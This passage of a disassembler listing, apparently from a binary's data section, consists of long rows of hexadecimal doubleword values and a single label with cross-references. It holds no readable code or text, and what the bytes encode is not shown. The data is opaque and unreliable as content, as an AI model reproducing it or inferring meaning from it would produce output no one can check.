0CE88D104h, 8CCAFFF5h, 0D75B9A04h, 0F0990012h, 0E091F2A5h dd 87509388h, 71B75B1Fh, 50FA7FC9h, 51592848h, 0B0FDC73Ah dd 71C280F9h, 67773FDEh, 9990F481h, 20601505h, 520061C4h dd 4AE7C456h, 20C6723h, 6C41164Dh, 944A3A06h, 3158400h dd 11005A5Bh, 225DED29h, 0FF2C46D3h, 189D9020h, 3136E27Bh dd 0FE4926ABh, 0C721A8h, 0B226D96h, 0DA001C4Bh, 82898E17h dd 0F0D5DD74h, 9F9009Bh, 47D4FC6h, 0C4707326h, 0DB88E700h dd 58E14C56h, 505F07F5h, 505A5C7Dh, 73D24160h, 0B0A71400h dd 83198647h, 9FBC3043h, 825E9030h, 357D4D07h, 0D2E0A55Fh dd 0F0F9FFDAh, 0BEAB3094h, 9A5EAD28h, 87584061h, 0A8DCACC6h dd 9E970144h, 0DB771011h, 7A48E0DEh, 239F9D00h, 13837071h dd 0C498C0DAh, 41AA4EF2h, 0A11DE60h, 46E2836Ah, 70F134DAh dd 0DD980800h, 3A49615Eh, 8B049444h, 8060BDACh, 0DAA8219Eh dd 0EC40CA61h, 61E84566h, 114D009Dh, 0AA834E51h, 290E8CABh dd 24D4A8h, 7CA7DF58h, 0FC3C32A3h, 9CAE5C79h, 9932D680h dd 0B91FA054h, 762D78EEh, 582E0A8Fh, 9B8A0EA0h, 66292B20h dd 0CB0C8BB5h, 48E9EF44h, 9864004Dh, 0B94AB6B0h, 5C005A16h dd 0EE683301h, 741A9Dh, 0E5DFF775h, 4A24E640h, 32D19901h dd 9F9EF0B5h, 0E85E4843h, 0E9E1605Bh, 338FC851h, 72D10424h dd 1DE3008Ch, 24314C9Ch, 601B3E5h, 234EB659h, 0E450FB91h dd 7C327C37h, 40C8C142h, 21248B48h, 8079D118h, 3A82DD51h dd 0E093D93h, 425BB88Eh, 8F3B2BA7h, 526C5781h, 7D14E01Dh dd 269CA615h, 65743E30h, 4840CBB1h, 0AB8DDCFEh, 2DCC044Ah dd 90C08498h, 0EF2C7354h, 8ACAB805h, 0BC74DE3Ch, 0DF042Ch dd 73BC2609h, 25DAD693h, 81D18060h, 221824h, 76DEE455h dd 3A6CCF93h, 0DC7F922Ah, 4D951400h, 0A87D2DDDh, 50AA49D1h dd 8E2CB400h, 5D0BF6EFh, 0CD75F300h, 9E131FB7h, 57703BCFh dd 3A7B3F8Dh, 40FBD088h, 0EFC5C800h, 0D18A8131h, 4E4B1810h dd 71262045h, 33B8D00h, 9CD2E5EFh, 6F3E2EDEh, 43390C2Eh dd 4A0088E9h, 0AA41473Ch, 0E52E628h, 0CE147E68h, 0F4602AEEh dd 0D3FD12B1h, 1AFC80C2h, 60751264h, 2847C5FAh, 49404D9Bh dd 7A50F2h, 2FC88DD5h, 0B4CD2043h, 61F3881Ch, 17009828h dd 7205E2C1h, 2F5F327Dh, 58D4CA07h, 51A48115h, 804F0F0h dd 6682A00h, 0F0E5A651h, 0C7B20226h, 4D2473D3h, 3ECC8A0h dd 0A63DDF5Fh, 0AC70A469h, 0E82824BAh, 5FE5C184h, 0BB997B80h dd 8F4E0085h, 0DAC75B34h, 9124247Ch, 710018CEh, 0E5F96F16h dd 458C06D5h, 0D63FD7B2h, 56D82A00h, 7708F079h, 0ABC00F2h dd 7EC3B5F5h, 0C90025E4h, 74624250h, 9A3DC2h, 927739E5h dd 2DB17CDCh, 944CE48h, 10A23225h, 125E07E0h, 0F522EAh dd 0B30FC7C4h, 550070A5h, 8D852DB0h, 0A84FA64h, 5A3EE243h dd 55FB808Ch, 0D792599Bh, 0A78BE507h, 0D7453D4h, 4A07483h dd 810EB718h, 1734C038h, 4A00CEF5h, 0AC6FFE67h, 2B52CB8h dd 0A4218C74h, 6860B9D2h, 5D005EAFh, 0FBF08A11h, 0EA78323h dd 0BB48216Dh, 51C14EA1h, 8D9DFCA9h, 530FCA00h, 0D8397078h dd 5C78C060h, 0DFEEBF08h, 7808F449h, 2D34CE02h, 64A4D40Ah dd 0A3FC00A4h, 894FA9B4h, 0BC28F0DBh, 1A30EBE6h, 4D35481Eh dd 7BF40047h, 0A04A9580h, 0B0A007EEh, 1EE256B3h, 38814091h dd 35C1B08Dh, 8028D145h, 8DFD0399h, 0B631532Bh, 34189CB0h dd 7E85C000h, 2AA25037h dd 0D47B008Ch, 224ADAD9h, 1D01D171h, 77E03A47h, 0A9EC56A6h dd 9038A368h, 46C29340h, 785295h, 0ED8D2535h, 0AA80E4h dd 0B057CF45h, 647F2F09h, 2071E53Eh, 9ABB3B35h, 6F592583h dd 2AA5D8BFh, 44B8106Ch, 0CF234FC0h, 68F46294h, 5F0EC05h dd 0E480FAC6h, 1C4E5B3Ah, 92D1DD11h, 57490015h, 0EC3C2DD5h dd 3874F526h, 0AC343681h, 1424A778h, 72703ABAh, 424D12h dd 266316ACh, 76028118h, 3CC72BFDh, 0A6E897BEh, 0E8A1CCh dd 0FFC1D267h, 591D867Dh, 84454B41h, 2480FA14h, 4842B843h dd 47000040h, 19EEB334h, 1800AC7Ch, 90112A30h, 682D60Ah dd 1E079964h, 860020EDh, 0D3C015BCh, 3B460D35h, 9860F2CFh dd 0A339CC4Eh, 0F58E1099h, 0D9A60266h, 530F1628h, 7E5A5268h dd 7C116100h, 90FE390Ah, 0C648123Ch, 15D800EDh, 0AEA10120h dd 0B8BC6E00h, 0E131B5A3h, 761E03F4h, 87A74743h, 0D7697001h dd 0CCB0FC1Fh, 76689087h, 0F0AAC0DCh, 0E609D06Eh, 0B7E78Fh dd 0EA2E9E1Ch, 84F638h, 70F61664h, 4FB35D3Ch, 83D23B00h dd 5ADAD7B8h, 20049023h, 0DB003913h, 387728Eh, 0B543EBh dd 41613B15h, 0EF5AFD1Fh, 3E959B01h, 0D90E47D8h, 14F5CB70h dd 0CCBA8BA4h, 96EED400h, 0C694F43Fh, 34EC1E0Fh, 18C2E3F6h dd 4192A0A9h, 0F5F009E4h, 0FC9744A7h, 7E80BC11h, 0B234ADDAh dd 6C86249h, 0AA131779h, 0EF3A0056h, 0B194ED0Fh, 6113D3FAh dd 0A001955Eh, 648384C8h, 0E16F17E1h, 0FA344933h, 0A9520E41h dd 54893498h, 1C1C001Fh, 703A329h, 0D22D416Fh, 579FD091h dd 324CDC95h, 1D2048B0h, 1A1C0B1h, 0C1024001h, 481618DDh dd 0CC308014h, 64B519E8h, 710098B1h, 0ED33C96Eh, 0EE6D0707h dd 0A19FE7C3h, 70501594h, 25712DF6h, 9E22A09h, 24943037h dd 2B527147h, 8060BC51h, 68B4A4B2h, 3107DB13h, 0EE8FFDE3h dd 5EAEAD81h, 209E420h, 0B397F7F4h, 0F173D7Eh, 8070EE88h dd 31229A42h, 5CA20420h, 0D57B37B8h, 0D6282010h, 6024AC5Bh dd 8A11A057h, 39C16681h, 0C2FD5F3h, 0E0E3609Ch, 355FFC0Ch dd 0E2348E00h, 42181102h, 0FF2D0289h, 7AF37EE6h, 9DF8B468h dd 1ADF0D00h, 846CF40Eh, 648C00FFh, 615729ABh, 0B2016548h dd 0A49AC3B6h, 0C4F0CA63h, 95315098h, 9DB40017h, 4D2F874Eh dd 0CC00DDA0h, 0C1A8FBFEh, 0FFDBA4A9h, 3EB729D0h, 1FC3569h dd 40EFE15Bh, 0E0173147h, 7000E661h, 9C72B463h, 740D2114h dd 0F66D00A6h, 4998A85Dh, 9700D152h, 61BE0C50h, 1DD31BCh dd 0FF409D1Eh, 0F8FBC559h, 2301D27Fh, 3DCE8580h, 344AABAAh dd 605510C2h, 0DA3110h, 3274164Dh, 0E0EBB629h, 4F2D4B03h dd 0C035FF92h, 1475F9h, 9F333ECCh, 0E598495Eh, 30C1A900h dd 0B4680817h, 0CE4201A0h, 0F14F31CFh, 0A16ED0C2h, 25173500h dd 7C83B44Ah, 0FC840052h, 0A21C2A1Fh, 0D8027402h, 4C345D18h dd 9D28AFC6h, 2E422902h, 0A3901865h, 38E91980h, 2C004DB3h dd 2EC1CCF9h, 0DE287903h, 0BE00BC5Bh, 14913023h, 0A1A73DDh dd 0FAE7578Bh, 0CFB400D0h, 0E4D310EBh, 0CA389302h, 0C0E1F88Fh dd 26D4A7h, 42357D3Bh, 31716FEh, 0A90CC400h, 0F42AF8F6h dd 0F73000DCh, 0CE522701h, 0FC0ECD4Dh, 80D7947Bh, 30DD0A77h dd 8C79388Ah, 17DBB501h, 0C8FD583Dh, 4200AD16h, 2A42BF5h dd 145F912Fh, 0D437D8A7h, 0B57DE600h, 0EB975C90h, 437870F7h dd 96B26A00h, 3FEA58F6h, 213E029Ah, 49BFC1E1h, 718CF090h dd 85550104h, 248A2516h, 71E10600h, 8332F734h, 0B2BABE00h dd 2EDC7F39h, 1D8A000Fh, 0C380262Ah, 1C93F8FCh, 0B608CF00h dd 867DBAB7h, 58F4B930h, 754F17h, 8AAD548Dh, 0C33CCA8Eh db 0 byte_520045 db 49h, 30h, 3Ah ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 826D8634h, 58158A4Eh, 0F20631Ah, 64E42158h, 0C0DC1E2Bh dd 0C94E277h, 38407CC3h, 7E007A29h, 864D2ACBh, 1320E0h dd 8CEEA57Dh, 0CD6F18C0h, 1A9903Ah, 8040DE57h, 41DA37BAh dd 0F8110CD4h, 1EE8509Fh, 8C00E22Dh, 9BF103F5h, 2150866h dd 0C34934E4h, 0EC807A3Bh, 83B2189Ah, 90418F60h, 31569F9h dd 0B0F4F62Ah, 8009261h, 0C1A6D5FDh, 0EE69BE72h, 8211476h dd 5500F4DBh, 647BAE91h, 4350BC54h, 3B008DFCh, 3003BB5Eh dd 0FC05AFF4h, 88150045h, 9385EF98h, 0EB00429Dh, 243738Dh dd 13CEE7Ch, 7E13F360h, 0D0FB63DEh, 71E33D5Bh, 314BC061h dd 10F13E07h, 24A0E27Dh, 3CB3612Ah, 8E805E0Ch, 0DF25B253h dd 8C07F04Dh, 72FEE1A1h, 62431D40h, 3533008Eh, 0A224D23Eh dd 0E1070D93h, 9FB63CD6h, 28E2FA3h, 37AFFC88h, 4C8FE51Dh dd 0B2ABE7E7h, 0FA16EC9Bh, 2DE75CA5h, 0D8988A00h, 0B2F1C605h dd 0BEB42A00h, 0CBD711C7h, 0DDDC014Ch, 86B32E01h, 8022D106h dd 0EDB57E21h, 741F296h, 844AE7C9h, 0FAD68151h, 0B63AF837h dd 0E0F43300h, 0B92F6087h, 9EB893h, 0F166A986h, 75A8D455h dd 0E2832A01h, 0EE22CBC7h, 72A54048h, 0FEC610EDh, 0AFD0DF5Fh dd 5AE98800h, 5144BF2Ch, 0B621C100h, 4E91F161h, 3E750CA9h dd 0F859BECDh, 0E7886CAFh, 0F9D263AFh, 2C2F70AFh, 940303D3h dd 135F6BDAh, 4725908Dh, 4CB60127h, 0B8C2A7Ah, 1E3D300Eh dd 0C0EDC304h, 49C12CC7h, 28CCAE5Eh, 31B00199h, 0D00BE1CDh dd 0DFF9708Fh, 390074F2h, 7545AA4Dh, 0FE02130h, 9EE4CAE1h dd 2E81300h, 0B600A37Eh, 62125E0Dh, 702CEBh, 9171E77Fh dd 0C3D2056Ch, 1314310Eh, 741D27B3h, 9098D901h, 0D0D09A47h dd 61AD20h, 0D414725Dh, 0E6010FEBh, 1BF6CA00h, 17B354ABh dd 0EFC6001Eh, 7983FE4Ah, 200F338h, 0B0044022h, 0F5100Ah dd 0EA46DD3Ch, 625F3609h, 0ED01FAFAh, 0E11938AFh, 4C80A8F5h dd 67715061h, 0D312E91Dh, 0EE01405Dh, 0AEBA35ACh, 0F297C2C8h dd 39DF00C8h, 0DA46268Dh, 9500A328h, 8005B0AAh, 0D48421h dd 660ACDAFh, 86856D23h, 0FB4AAC00h, 8EECC372h, 4D30006h dd 7DD4DDD2h, 0D1F87942h, 0FD861900h, 931F95CDh, 4CD9004Eh dd 75C95030h, 37007902h, 3F838B6h, 3181F02Fh, 1B307405h dd 0F197E064h, 93F6B501h, 387E6278h, 7FD76D8h, 0A53DFCD4h dd 0E494C08Fh, 7C001116h, 70729BD9h, 3CB5Fh, 0B80A45F4h dd 923FFD7Eh, 9906AE06h, 0FA60D2A0h, 40530012h, 1A3E8DD0h dd 2300EFA6h, 0A80E6102h, 1218751h, 0E38F34A9h, 0E8555D2Ch dd 81074AB8h, 56259BC9h, 0F33CFFB1h, 0FF0F909Eh, 0AFA88F80h dd 0CE507DEBh, 59AE2A00h, 2FCB520Ch, 7584A817h, 3C1F4C2h dd 57D5EC1Bh, 0C4F0661Ch, 62003CA0h, 6FD6C86h, 1631DCh dd 8518D394h, 0E6B19B8Dh, 73C9E31Eh, 0DEA73B40h, 507539EFh dd 2A8EA0FFh, 1DD0846Fh, 0EA4DCBh, 0EE2D2286h, 0A300936Ch dd 468DE24Fh, 0FA73B4h, 0C20A115Fh, 3494A7AEh, 6D1C38C0h dd 7D58EBC4h, 0F0AA38D2h, 0D5401880h, 0B7369197h, 0CE1E381Ch dd 80AB8E8Bh, 0D3E2A4A3h, 6F92EADh, 820B009Dh, 35341C94h dd 8951C600h, 5E2518B7h, 4014018Ch, 0F2D82F81h, 0D9088DE6h dd 80C82021h, 8EA3008Ch, 9641C43Fh, 340026F7h, 6D1ABCD7h dd 0E8D391h, 518DA794h, 0C5C25CB7h, 6ECC3400h, 0ED6D6071h dd 1AEC3DA3h, 5290287Bh, 8CE73A3Ch, 84093A91h, 7C007FBAh dd 21FD8CA2h, 84CA1400h, 0B9FEAF3Eh, 115003Bh, 66D0A8F4h dd 0F30CABA1h, 10620B79h, 26741243h, 773401A4h, 9F9FE53Dh dd 2030BE08h, 0B4378Ah, 3BBDDA5Ch, 99787C9Bh, 568E700h dd 0B562600Dh, 2B91016Ch, 3D02184Fh, 0B18570A9h, 0E60FBE00h dd 0AE0695F4h, 0C59600A8h, 2FA91E91h, 3B1DB122h, 80BBEF40h dd 601B3AFEh, 4D3D2EBh, 85C7AC2Bh, 6947C339h, 60AE6108h dd 7C09406Fh, 59D00FD2h, 92881030h, 0AF819000h, 470A670Ch dd 0C7E0AD00h, 9176B912h, 0DE3B001Fh, 1DC8A80Fh, 0D20E36A3h dd 0A0D4BB70h, 0AB3A0DC1h, 666E0302h, 903D1844h, 89A0E7BBh dd 4008251h, 0EB370E32h, 7EB9D89Ah, 67C1009Ch, 2363949Dh dd 55022018h, 804C6417h, 0BAF5808Dh, 72B96CF3h, 3F69032Dh dd 43261A66h, 98C513E0h, 0D9F7D701h, 0C38DAC93h, 9BEBFE1h dd 3858E901h, 0C1544494h, 0EEC480C6h, 5D48B87Bh, 8DE8FBh dd 0C598D36Ch, 0D141428Bh, 0CFB06505h, 0F2C179DDh, 9EC39947h dd 458E569h, 0EC420A82h, 0F60CC6F5h, 6600308Fh, 0CAC3A00Ah dd 0DBD00BBh, 951086B8h, 9A0C8C33h, 19B778E5h, 9C091082h dd 84E0213Ch, 449BF4CEh, 56210598h, 424F08C3h, 1E120C73h dd 0A8CC618Fh, 44C5FA0Ch, 54860843h, 228D1826h, 6E54B6D7h dd 76426654h, 3C6B8A14h, 18DA1B14h, 0A63F608h, 32C55C90h dd 6124050Fh, 7E180CFDh, 0A3E81891h, 0ECB7D91Ch, 82A60B00h dd 2425E1AFh, 83088372h, 26CF5866h, 579A01FCh, 2545E1h dd 37DADD0h, 0DDCDACA6h, 0B7A21282h, 9685C4A0h, 6CFE5D2Fh dd 0F5EB8100h, 0E8BCDE7Fh, 3605021Ch, 1E0B44Eh, 0A56583C0h dd 629C6600h, 4182B332h, 0E1F80075h, 0A2919F20h, 0B600DCCDh dd 579CD436h, 16EFC996h, 5B90ABEh, 302BA000h, 54BCBA4Ch dd 0DF92D9C0h, 393CD77h, 0ACAD89CEh, 0CF8BA326h, 0ABAE4BB0h dd 8DF09000h, 0B203B73Dh, 798E00FAh, 9CD9E146h, 7118D55Bh dd 68981316h, 0EE670531h, 71AC8081h, 0F38831Ch, 1CDD3312h dd 4CB9804Dh, 0A474BB8h, 0F5E491Ch, 63510645h, 0F4E6C078h dd 0BC6900EFh, 0EA63368Fh, 0E53F393Dh, 575E0084h, 0C6321B17h dd 74D4024Bh, 48C8BC5Fh, 4D0100E0h, 880D7600h, 0C459D329h dd 7C73A3h, 0B8605C39h, 2EF9809Ch, 0E3D0E207h, 5A400D1Ah dd 5CE581D5h, 5300E174h, 0CBEC3C58h, 0C8001BE0h, 0C057A424h dd 76D32312h, 884D0F63h, 79605D27h, 1C176C5Ah, 2A6DF90Fh dd 0BD4521E1h, 0F841AC4Dh, 0B082EA62h, 1AC4E8ADh, 280CC763h dd 0B0459318h, 0B14E43B9h, 0C51A506Ah, 4C2CE27Ch, 0CF9A001Bh dd 0A5DAA43Fh, 3202ECC5h, 0FF60D0Ch, 69B4806Dh, 1E1A5B62h dd 0F21195Eh, 914AF7E9h, 34E0180h, 314A0471h, 0EFCC17E6h dd 274F50E0h, 0E5F47E7Fh, 0E4C94D02h, 0C048535Fh, 0EE5D6216h dd 7A5F2A8h, 0DC5E5C96h, 900DF0D4h, 0CA0C4C77h, 30BF1F34h dd 62561860h, 3B5E782Ch, 0D6FB322Eh, 0FD586400h, 15BF02E3h dd 0C8A2B2C6h, 0C1CF9701h, 8023CD4Eh, 90076C91h, 169E926h dd 916B0F8Dh, 80E88929h, 74612C20h, 0A02E2A9h, 0DFECB32Bh dd 0DB8057ACh, 30EE95C6h, 2D4F3CDEh, 35454D05h, 0D395C0F6h dd 800C13Eh, 150D092Ch, 17D8559h, 86BBBE3Bh, 4A828EADh dd 73AFA144h, 0DBBE8450h, 92750236h, 0DF8C5B70h, 2B003445h dd 3BB7A7E1h, 31730228h, 0DB76D325h, 5F29DB40h, 450B2C00h dd 83A08740h, 24C900BAh, 7E341284h, 4800CE91h, 625BDCB0h dd 91B85F4Ch, 23C5E3DCh, 3CD5F1A0h, 0F70281B8h, 74139C6h dd 184942Ch, 0E746AFD1h, 40E0EAECh, 32FB6BA0h, 0CDF2E100h dd 7E4FDD8Fh, 76FC00C7h, 0D3AC8227h, 0E9B0FA05h, 8FBE800h dd 0A73247BBh, 817B609Dh, 0F639D2E9h, 5A9BB501h, 24453EDEh dd 5E1EF0E7h, 0D07053DAh, 0C969EA0Fh, 85032180h, 0BF247E0Ch dd 39576401h, 0C00833A6h, 2D6404E8h, 9CF7CE00h, 70DE13EDh dd 20360F56h, 0C8E19814h dd 26B4AA5Fh, 1899C70Ch, 978BB4A0h, 0C45E00D6h, 0B649E3DCh dd 800371Dh, 0D9665929h, 75F8C3DFh, 388500B9h, 64D18FDh dd 0D81DC18Ah, 58C029B1h, 6E8C771Ah, 91D9003Dh, 0F434406Fh dd 9008718h, 61859532h, 94DEA9h, 0C82CB5A5h, 4AACDB56h dd 0D7A70C1Dh, 55A23583h, 0E709E80h, 0A689B712h, 49DCAF00h dd 0FE00FD3Ch, 21B6A79Fh, 0EF27E2h, 0CAAAA92Dh, 0D6154E01h dd 2FC2ED0Ch, 0AE43894h, 51EBDCB6h, 0F13D5644h, 378E09Bh dd 11AF5D0h, 49D8C50Fh, 0F28CDB2Eh, 0E48E8482h, 5A9F9090h dd 24B5AE00h, 703C9D31h, 6CB70ED0h, 39CC82A9h, 0EC045E10h dd 1620FBAh, 0B903510Eh, 21027560h, 94D8F7A6h, 10AE2663h dd 30367120h, 0FC28BF27h, 0B5018665h, 4AFA19B1h, 0D28E64EAh dd 0E96BF1BEh, 0B398E000h, 0CB007BB1h, 2FDB109Dh, 1D24FC05h dd 0E4ABA230h, 9A13078Eh, 20D0E06Fh, 0EA18911Eh, 65480E09h dd 7AB706DCh, 38A7AF33h, 0CB1B0107h, 5F10A2E8h, 8ED158h dd 0EE310C9Dh, 0E5E69A14h, 801E303Fh, 7DF4C8E0h, 0D85FBD16h dd 4E6A8B8h, 0C75CCB1Eh, 927F0340h, 54E8DB3h, 1939E9D1h dd 6AA58231h, 332788C0h, 0D3FC38C3h, 7BC00082h, 0FD5CB551h dd 90CEEE79h, 0A9DD0052h, 0AD989h, 0A2DF2FCDh, 0E902622h dd 41001578h, 0D4643753h, 3E1B942h, 0FEA47BB5h, 2FA31BCh dd 3B3A80E0h, 0A5C50300h, 19BF16A6h, 66A40086h, 0F029528h dd 4000DD29h, 4BEAA545h, 1C9EBFh, 97165C3Eh, 0D82A1181h dd 1BBDE707h, 7B65CC05h, 393CA800h, 1D60C26h, 0E8E40E9Fh dd 805F24A5h, 958E16B4h, 2C891117h, 281A9C0h, 6A99E218h dd 0C81A48C1h, 44007891h, 0CE433809h, 75E4ACh, 0A332274Ah dd 48A9C9D6h, 2B035D06h, 117908h, 27E92FFFh, 7606569Bh dd 0E3D75900h, 60B2FDE4h, 0CABC00B7h, 67254EBAh, 7B7AC250h dd 245FAA00h, 7671F8B1h, 92351B55h, 53B0886Bh, 8900528Fh dd 3D733B11h, 481CE1CCh, 5B03C0F4h, 672B6104h, 436BEC90h dd 58387562h, 0D617401Dh, 99CF032Ch, 0FDAC7C9Ah, 0D275BB0h dd 3217A918h, 0E789A63Ah, 9754F4h, 75E3AE8h, 4326674Fh dd 0B4DB573Eh, 0D0C1206Bh, 0C360FBF3h, 3B7828C5h, 0F79A0983h dd 0C10FF412h, 9F0FE080h, 9326AF91h, 0BE048510h, 80AFC201h dd 0AB467EE9h, 66FC3D00h, 67977A03h, 0A0E400A4h, 0E86471D2h dd 3900C8D7h, 777CAC36h, 3C6F4054h, 5A0FDA30h, 8B6080A7h dd 0E8BAEB59h, 28353D31h, 9D104893h, 70815DEAh, 0AF445408h dd 0D84A445Fh, 84A47944h, 7999D731h, 0F80094DBh, 8B01A972h dd 20BAB9E3h, 0F670685Ah, 95BB0448h, 8080C376h, 7AFFFEB7h dd 0CC992100h, 0D2818DD1h, 80C55AA6h, 734786AFh, 4D76FD00h dd 0A2059838h, 0D34E00BDh, 721E8D7Ch, 280097F8h, 0C5AC616Ah dd 7B6E6045h, 84ED00C2h, 8C1FD2A1h, 0CE001D0Eh, 3D2A8723h dd 411813h, 0D1406443h, 6ECD77A4h, 0CB0012F0h, 0CF5FF714h dd 0FDFA82h, 0E8838825h, 411BD230h, 0CAB7BD07h, 0C05F9584h dd 0F36A5DB5h, 38E020Fh, 0B9F6AB9Ah, 0C48F63C0h, 41E0E600h dd 1F0984A6h, 77F4EAh, 2ADF3DDEh, 0AE8A7E64h, 9700A572h dd 690CBD11h, 78BC1FE8h, 9B7C002Eh, 209F1E74h, 1D00DAC2h dd 47E7AF65h, 0CB6D5Ah, 0CC0B42D1h, 75B1A37h, 9D9B7A00h dd 0DC5C04FBh, 3E9EA4Fh, 15A8A0A6h, 21B2229Eh, 0E0145541h dd 2900DA1Bh, 0D10CE7E0h, 9B7425h, 2C17CA5Eh, 46226E18h dd 0C0376707h, 9740D862h, 0BEB773h, 0DE54E153h, 0A446E78Ch dd 0BD1C2400h, 0BA432749h, 0B94F33A6h, 54800B30h, 23077BA9h dd 0D6B1BC61h, 6A8D9A30h, 1FA8A85Ah, 0BD821D3Ch, 0D376406Ch dd 0F7C370B6h, 89109A00h, 0D9A39CCFh, 59C900E3h, 0C412E605h dd 0A40E442Fh, 0A0F04B0Dh, 8A23CCA2h, 57AE0032h, 0BCEB45DFh dd 0A707D80Fh, 0F57F2F70h, 4AE6D460h, 20140092h, 0CC9D6ADDh dd 30FA5213h, 0C74F82EEh, 0DC0765F8h, 0B032058Fh, 434EEC29h dd 80FD3A3Dh, 502E669Eh, 308BBC5Ah, 14C078DBh, 0C900231Ch dd 3E4FAEE3h, 1527BDD6h, 0B46C4184h, 0FBBD10Fh, 56061600h dd 2700DD67h, 4DE43868h, 2285B3h, 0FE396A4Ch, 97BB4B73h dd 287C620Fh, 496C608Bh, 33CDF71h, 1EB0B97Ah, 61B0B4ECh dd 3848C9A8h, 0B244000Fh, 6B17BD79h, 321F0082h, 0B71AD96h dd 0F9007B31h, 2474B6D0h, 64E2Bh, 0C0BD9333h, 29C45DB8h dd 841BA028h, 0F7B70300h, 9E641250h, 777969h, 0BA01A67Eh dd 0EE4196CBh, 0DDF4C200h, 189A9C51h, 1534000Eh, 4A90EA86h dd 0C80F6E2Ah, 0C0BE2C5Dh, 5B92AA2Bh, 0EEA200F2h, 3413581Eh dd 96009C55h, 0C739C291h, 7EF01Ch, 287BAE53h, 0B8232DE7h dd 0DFA73800h, 4061DC73h, 699C00FDh, 1984D9CAh, 1F028387h dd 0E6729286h, 3E2A4051h, 0DC743C1Ch, 0AC2E2D00h, 67964154h dd 1D14D703h, 0D84643EDh, 0AA47E6Fh, 0F7E53986h, 0B63C00EAh dd 47A33D23h, 10D74D02h, 0C0795C62h, 30836Eh, 0A1D22F78h dd 1C5D804Ch, 211D1007h, 2570FDD3h, 43EE95h, 9CC1C8EFh dd 52BC8481h, 0EB180400h, 60162235h, 0CA510113h, 0C47F7B23h dd 324EF871h, 648E2A26h, 0F009B500h, 5BB1F33h, 3CB42857h dd 1B8780F6h, 0E11F2383h, 51C398F5h, 594CAEh, 0F4F62FCh dd 23964D1Dh, 162DBD00h, 64ED863Fh, 93DB0E29h, 7D001E70h dd 0F4D74025h, 77685900h, 0FD659446h, 14B5027Fh, 3E9C98D2h dd 0EC6098C1h, 0C004295h, 0E5258CC2h, 16E2Ch, 34787744h dd 6665FEF0h, 0C27DE371h, 199FA300h, 0CA061070h, 14890013h dd 4737AFCh, 212822Eh, 2600FF4Ah, 6CAA97F2h, 0D3C20740h dd 2057329Ch, 0A2DB80EDh, 9900C87Ah, 917E3D83h, 1CD8041Eh dd 32C0AEh, 0B9A30663h, 40006AEDh, 3FFA115Dh, 162109h dd 0FC10DF5Bh, 8E66E2F0h, 4BB1E700h, 69FE5D75h, 0AF1F00CCh dd 123A33FAh, 3400CA73h, 0F8F1C0B6h, 6E0285h, 790D9D88h dd 0DF097168h, 72EBCC00h, 39E7BC9Ah, 18FEC1h, 6C21F5D4h dd 4E354FEh, 0BF8F5600h, 4F517CF0h, 0BA791CF8h, 0FF7285Ah dd 9D34E3BCh, 0E290D023h, 21E63FD0h, 0E7563Bh, 0E58171CCh dd 3180EC8Eh, 0A405243h, 609EECFFh, 77EA5E00h, 0AD1694F2h dd 1A26007Eh, 542705B7h, 1302DDF1h, 4EBE085Fh, 8E5140E4h dd 7ADF24B5h, 0DE9000B6h, 8BBD551Eh, 7767762Eh, 68082500h dd 56BB58h, 207B79B9h, 65BC4A53h, 0C90047E8h, 340C67EFh dd 0A0032Fh, 0DAB1A32Ch, 88EDCE05h, 382465EEh, 940115C6h dd 0F2CC8584h, 72FC5CF1h, 0B78600FBh, 0D355647Ch, 44001E1Ch dd 4841CE80h, 3B50495h, 59669713h, 0F3C8E820h, 2900BEAEh dd 0CC1AB1EFh, 0FA7098h, 43198F8Dh, 90E1F032h, 0C30094EEh dd 9FF1CAD9h, 0C04B01h, 911E8552h, 7C2C9866h, 8C006E7Eh dd 0C776B33Fh, 73C34Ch, 0BA2EB902h, 9D283389h, 0AFFCCB00h dd 0F84D451h, 959200F3h, 800A1803h, 0E598D3F1h, 0A4AB5500h dd 27226A7Ch, 5163A2Fh, 251B8E80h, 0F6489BA1h, 2FB07E5Fh dd 0E2B20096h, 5D34631Fh, 87007BCBh, 3DAA4FC8h, 66191Ch dd 37C9249Ah, 0F078F74h, 0ACF05300h, 41E865BAh, 9012E20Ch dd 0D38B038Eh, 382088ADh, 451F55B8h, 0B23E6A7Eh, 0E0E500DAh dd 96CA7766h, 0D18F001Ch, 0B3CE35D7h, 430E3F11h, 0C0F4026Eh dd 6819CDDFh, 27FC006Ch, 3728B056h, 0EA03E987h, 0E65BCB4Ch dd 9273B016h, 4F880390h dd 0CC1859FFh, 0ACA230BFh, 0BB07C05Dh, 33C7067Ch, 14988470h dd 20D9005Ah, 7829500Dh, 0C300116Eh, 4BABEB55h, 0DDE1CFh dd 2F20EA80h, 0EF566231h, 7F0077F2h, 0E7DFC663h, 0BE539Fh dd 0F3A349Ch, 0C1AB5EC8h, 6D87FB0Eh, 18E02063h, 2DA5C2h dd 884DB299h, 80AECF26h, 3FFB7400h, 17B3B6Ch, 85DA005Bh dd 75254244h, 6600ECE9h, 5158DB3Ch, 704B55h, 0E03B232Eh dd 0BEE489EEh, 0CA448300h, 197DD832h, 10E3006Ch, 0EF6F4D5Ah dd 0CCFDB5DCh, 0BA7FC12Ah, 0BD2C9000h, 0D905FFFCh, 1824007Dh dd 7175036Ah, 0DA700A58h, 28AD9200h, 3A7FE305h, 127800E5h dd 0F3EF5214h, 0A47D322Dh, 80DC8D01h, 0D70530E6h, 41F8A8C9h dd 0EBBB0031h, 933D0CA1h, 0A000C05Bh, 0CFAE2EA7h, 1E420E71h dd 46E88581h, 18C44DBFh, 0CCC39A0Fh, 327526D3h, 0AF944840h dd 74D5B000h, 0B526F9CDh, 5D1C3Ah, 9DA8EFDAh, 394B4209h dd 0F818DB9Eh, 1E8F792Eh, 0D300D2FAh, 0EC5FE15Bh, 6B4EA5h dd 3199B62Eh, 0B04A41BCh, 2FE55900h, 0DCEEC064h, 0A8D200FBh dd 0CEB7D880h, 0CF02F550h, 0BDE2A919h, 1DDFC098h, 6F7D03DCh dd 7375FA79h, 82D980F0h, 0BB89FC01h, 133D4837h, 0C6CADCh dd 0E0067A8Ah, 5184BFF4h, 0ED2AAD00h, 4CDC4FA0h, 70CA603Bh dd 0CB438A8Eh, 0D017278h, 0FD993651h, 2ACC2D11h, 0F6CE0358h dd 25D79C79h, 0F4C2CDF1h, 6200BC52h, 0CC4EB748h, 5D5189h dd 0A4ECFC22h, 13E55036h, 0B175BA01h, 2BD052C6h, 7CF344C0h dd 773E451h, 8BA91F90h, 74E4D00Eh, 77005FE6h, 1E92D7F8h dd 3B437DD2h, 7F873FD5h, 0E3E06798h, 4FD05B8Eh, 